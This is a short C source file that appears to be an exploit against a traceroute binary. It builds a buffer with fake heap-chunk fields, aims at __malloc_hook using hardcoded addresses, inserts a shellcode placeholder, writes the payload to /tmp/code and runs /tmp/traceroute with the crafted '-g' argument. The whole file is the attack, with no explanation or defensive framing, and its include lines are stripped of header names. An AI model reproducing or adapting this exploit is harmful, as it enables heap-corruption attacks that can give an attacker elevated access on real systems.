#include #include #include char code[] ="Shellcode"; extern void *__malloc_hook; typedef struct glue { int a; int b; void *p; void *q; } glue; void print_hex(char *p) { char *q; q=p; while(*q) { if (*q > 32 && *q < 127) { printf("%c",*q); } else { printf(" "); } q++; } } int main(void) { int ipa=0x2E312E31; int ipb=0x20312E31; int oh=0x00000000; int dummy=0x43434343; void *mh=(void **)__malloc_hook; void *usage=(void *)0x804a858; /* void *us=(void *)0x804cd80;*/ void *us=(void *)0x804cd7a; char buf[260]; char whocares[4096]; char *prog="/tmp/traceroute"; glue temp; FILE *out; printf ("malloc_hook %x code %x\n",mh, usage); memset(buf, 0x47,256); buf[255]='\0'; printf ("buf: %s\n", buf); temp.a=ipa; temp.b=ipb; temp.p=mh; temp.q=us+16; memcpy(buf, (void *)&temp,16); printf ("buf: %s\n", buf); temp.p=(void *)oh; temp.q=(void *)oh; temp.a=dummy; /* temp.b=dummy;*/ temp.b=0xFFFFFF01; printf("code(%d)\n", sizeof(code)); strncpy(buf+16, code, sizeof(code) -1); memcpy(buf+240, (void *)&temp, 0x10); printf ("buf: %s\n", buf); buf[255]='\0'; out=fopen("/tmp/code","w"); fputs(buf,out); fclose(out); printf("%s\n",whocares); /*Aufruf mit den Parametern und Puffer*/ execl(prog,prog,prog,"-g",buf,"-g 1","127.0.0.1", NULL); return 0; }